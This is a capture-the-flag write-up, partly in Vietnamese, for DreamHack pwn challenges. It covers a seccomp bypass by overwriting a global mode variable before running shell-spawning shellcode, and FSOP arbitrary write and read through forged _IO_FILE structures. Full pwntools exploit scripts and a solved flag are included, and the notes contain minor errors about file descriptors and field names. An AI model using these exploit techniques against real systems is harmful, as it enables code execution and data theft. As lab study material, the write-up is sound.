# DreamHack write-up
# Seccomp (2) - Learn
## Source code
```c
// gcc -o seccomp seccomp.cq
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <stddef.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#include <linux/filter.h>
#include <linux/unistd.h>
#include <linux/audit.h>
#include <sys/mman.h>
int mode = SECCOMP_MODE_STRICT;
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int syscall_filter() {
#define syscall_nr (offsetof(struct seccomp_data, nr))
#define arch_nr (offsetof(struct seccomp_data, arch))
/* architecture x86_64 */
#define REG_SYSCALL REG_RAX
#define ARCH_NR AUDIT_ARCH_X86_64
struct sock_filter filter[] = {
/* Validate architecture. */
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, arch_nr),
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ARCH_NR, 1, 0),
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL),
/* Get system call number. */
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, syscall_nr),
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
.filter = filter,
};
if ( prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1 ) {
perror("prctl(PR_SET_NO_NEW_PRIVS)\n");
return -1;
}
if ( prctl(PR_SET_SECCOMP, mode, &prog) == -1 ) {
perror("Seccomp filter error\n");
return -1;
}
return 0;
}
int main(int argc, char* argv[])
{
void (*sc)();
unsigned char *shellcode;
int cnt = 0;
int idx;
long addr;
long value;
initialize();
shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
while(1) {
printf("1. Read shellcode\n");
printf("2. Execute shellcode\n");
printf("3. Write address\n");
printf("> ");
scanf("%d", &idx);
switch(idx) {
case 1:
if(cnt != 0) {
exit(0);
}
syscall_filter();
printf("shellcode: ");
read(0, shellcode, 1024);
cnt++;
break;
case 2:
sc = (void *)shellcode;
sc();
break;
case 3:
printf("addr: ");
scanf("%ld", &addr);
printf("value: ");
scanf("%ld", addr);
break;
default:
break;
}
}
return 0;
}
```
- Đoạn đơn giản chỉ là cho mình thực thi shellcode sau khi đã filter bằng `seccomp` nên phần mình cần quan tâm chính là cách hàm `filter()` cấm các `syscall`
### Seccomp filter
- Thật ra mình cũng chưa hiểu toàn bộ các struct trong hàm này nên chỉ tập trung vào các vị trí quan trọng
- Nhìn thì nó giống đoạn code mẫu set up seccomp BPF này :
```c
// Name: secbpf_alist.c
// Compile: gcc -o secbpf_alist secbpf_alist.c
#include <fcntl.h>
#include <linux/audit.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <linux/unistd.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <unistd.h>
#define ALLOW_SYSCALL(name) \
BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, __NR_##name, 0, 1), \
BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW)
#define KILL_PROCESS BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL)
#define syscall_nr (offsetof(struct seccomp_data, nr))
#define arch_nr (offsetof(struct seccomp_data, arch))
/* architecture x86_64 */
#define ARCH_NR AUDIT_ARCH_X86_64
int sandbox() {
struct sock_filter filter[] = {
/* Validate architecture. */
BPF_STMT(BPF_LD + BPF_W + BPF_ABS, arch_nr),
BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, ARCH_NR, 1, 0),
BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL),
/* Get system call number. */
BPF_STMT(BPF_LD + BPF_W + BPF_ABS, syscall_nr),
/* List allowed syscalls. */
ALLOW_SYSCALL(rt_sigreturn),
ALLOW_SYSCALL(open),
ALLOW_SYSCALL(openat),
ALLOW_SYSCALL(read),
ALLOW_SYSCALL(write),
ALLOW_SYSCALL(exit_group),
KILL_PROCESS,
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter) / sizeof(filter[0])),
.filter = filter,
};
if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1) {
perror("prctl(PR_SET_NO_NEW_PRIVS)\n");
return -1;
}
if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) == -1) {
perror("Seccomp filter error\n");
return -1;
}
return 0;
}
void banned() { fork(); }
int main(int argc, char* argv[]) {
char buf[256];
int fd;
memset(buf, 0, sizeof(buf));
sandbox();
if (argc < 2) {
banned();
}
fd = open("/bin/sh", O_RDONLY);
read(fd, buf, sizeof(buf) - 1);
write(1, buf, sizeof(buf));
return 0;
}
```
- Chú ý thấy điểm khác :
```c
if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) == -1) {
perror("Seccomp filter error\n");
return -1;
}
---------------------------------------------------
if ( prctl(PR_SET_SECCOMP, mode, &prog) == -1 ) {
perror("Seccomp filter error\n");
return -1;
}
int mode = SECCOMP_MODE_STRICT;
```
-> Từ đây mình đoán mặc dù nó set up seccomp FILTER_MODE: BPF nhưng lại đặt mode STRICT_MODE (chỉ cho read, write, sigreturn,exit)
## Bypass seccomp
- Nếu để STRICT_MODE thì thật khó để dùng các syscall cho phép để lấy flag.
- Thật may, challenge cho case có thể thay đổi giá trị tại 1 địa chỉ bất kì mà biến `mode` lại là biến global + tắt PIE nên ý tưởng sẽ overwrite mode để `prctl(PR_SET_SECCOMP, mode, &prog)` không thực hiện đúng seccomp STRICT_MODE.
- mode `STRICT_MODE` = 1 -> overwrite khác 1 là được
## Get flag
```py
#!/usr/bin/env python3
from pwn import *
def s(p, data): p.send(data)
def sl(p, data): p.sendline(data)
def sla(p, msg, data): p.sendlineafter(msg, data)
def sa(p, msg, data): p.sendafter(msg, data)
def rl(p): return p.recvline()
def ru(p, msg): return p.recvuntil(msg)
def r(p, size): return p.recv(size)
def intFromByte(p, size):
o = p.recv(size)[::-1].hex()
output = '0x' + o
leak = int(output, 16)
return leak
def get_exe_base(pid):
maps_file = f"/proc/{pid}/maps"
exe_base = None
with open(maps_file, 'r') as f:
exe_base = int(f.readline().split('-')[0], 16)
if exe_base is None:
raise Exception("Executable base address not found.")
return exe_base
def leak(p, payload):
sl(p, payload)
ru(p, b'|')
leak = int(ru(p, b'|').replace(b'|', b''), 16)
return leak
def GDB(p):
base = get_exe_base(p.pid)
gdb.attach(p, gdbscript='''
b*0x0000000000400A33
c
''')
input()
def main():
context.binary = exe = ELF("./seccomp", checksec=False)
# libc = ELF("./", checksec=False)
# ld = ELF("./", checksec=False)
p = process(exe.path)
# p = remote("host3.dreamhack.games",23936)
mode = 0x602090
sla(p,b'> ',b'3')
GDB(p)
sla(p,b'addr: ',str(mode).encode())
sla(p,b'value: ',str(2).encode())
sla(p,b'> ',b'1')
shellcode = asm(shellcraft.amd64.sh())
sla(p,b'shellcode: ',shellcode)
sl(p,b'2')
p.interactive()
if __name__ == "__main__":
main()
# DH{22b3695a64092efd8845efe7eda784a4}
```
# _IO_FILE Arbitrary Address Write
## Phân tích
- Về bug thì khá rõ là BOF ở `read(0, fp, 300);` nhưng ở đây có điều đặc biệt lại ghi vào buffer của 1 IO_FILE -> FSOP ở hàm fread
- Mình đã có 1 blog riêng về hàm này và ứng dụng cho bài này - [fread() - FSOP write data](https://hackmd.io/hp5NGEn9S1KlLYm6vxfp0w?view#3-fread---FSOP-write-data)
## Khai thác
- Mục tiêu : `overwrite_me == 0xDEADBEEF`
- overwrite_me : nằm ở .bss (PIE tắt)
- ghi được vào buffer IO_FILE
- Dựa vào bài thì ta sẽ tận dụng : `read (fp->_fileno, buf, size));` được gọi
- `buf` : fp->_IO_buf_base
- `size` : fp->_IO_buf_end - fp->_IO_buf_base
- Công việc sẽ là overwrite :
- _IO_buf_base ----> overwrite_me
- _IO_buf_end ----> overwrite_me + nbytes
- fp->_fileno = 1 : để gọi read với stdin
:::warning
- Có 1 yêu cầu nhỏ :
- `size` : fp->_IO_buf_end - fp->_IO_buf_base > size đã yêu cầu khi gọi fread ( ở bài này là 1023)
-> nên ở đây cho _IO_buf_end = overwrite_me + 1024
:::
## Get flag
```py
def main():
context.binary = exe = ELF("./chall_patched", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
ld = ELF("./ld-2.27.so", checksec=False)
# p = process(exe.path)
p = remote('host3.dreamhack.games',13605)
overwrite_me = 0x6014a0
payload = flat(
0xfbad2488,
0,0,0,0,0,0,
overwrite_me,
overwrite_me + 1024,
0,0,0,0,0,0
)
# GDB(p)
sa(p,b'Data: ',payload)
p.sendline(p64(0xDEADBEEF) + b"A"*1024)
p.interactive()
if __name__ == "__main__":
main()
```
# _IO_FILE Arbitrary Address Read
## Phân tích
- Về bug vẫn là BOF ở 1 IO_FILE tuy nhiên bài này gọi fwrite mục đích để học cách leak dữ liệu thông qua overwrite thành stdout.
- Kiến thức của bài này sẽ giống với [FSOP : puts](https://hackmd.io/Mx1bLro_Tp-VMh6u--k13w?view#FSOP)
## Khai thác :
- Mục tiêu : In flag ra màn hình với flag đã được ghi vào .bss trước đó
- Target overwrite :
- flags = 0xfbad1800
- _IO_write_base = flag address
- _IO_buf_end = flag address + nbytes
- fileno = 1 -> để thành write với stdout
- với `_IO_buf_end - _IO_write_base` > size được yêu cầu khi gọi fwrite()
## Get flag
```py
def main():
context.binary = exe = ELF("./iofile_aar_patched", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
# ld = ELF("./", checksec=False)
p = process(exe.path)
p =remote("host3.dreamhack.games",19842)
flag_buf= exe.sym.flag_buf
print(hex(flag_buf))
payload = p64(0xfbad1800)
payload += p64(0) # _IO_read_ptr
payload += p64(0) # _IO_read_end
payload += p64(0) # _IO_read_base
payload += p64(flag_buf) # _IO_write_base
payload += p64(flag_buf + 1024) # _IO_write_ptr
payload += p64(0) # _IO_write_end
payload += p64(0) # _IO_buf_base
payload += p64(0) # _IO_buf_end
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(1) # stdout
# GDB(p)
sa(p,b'Data: ',payload)
p.interactive()
```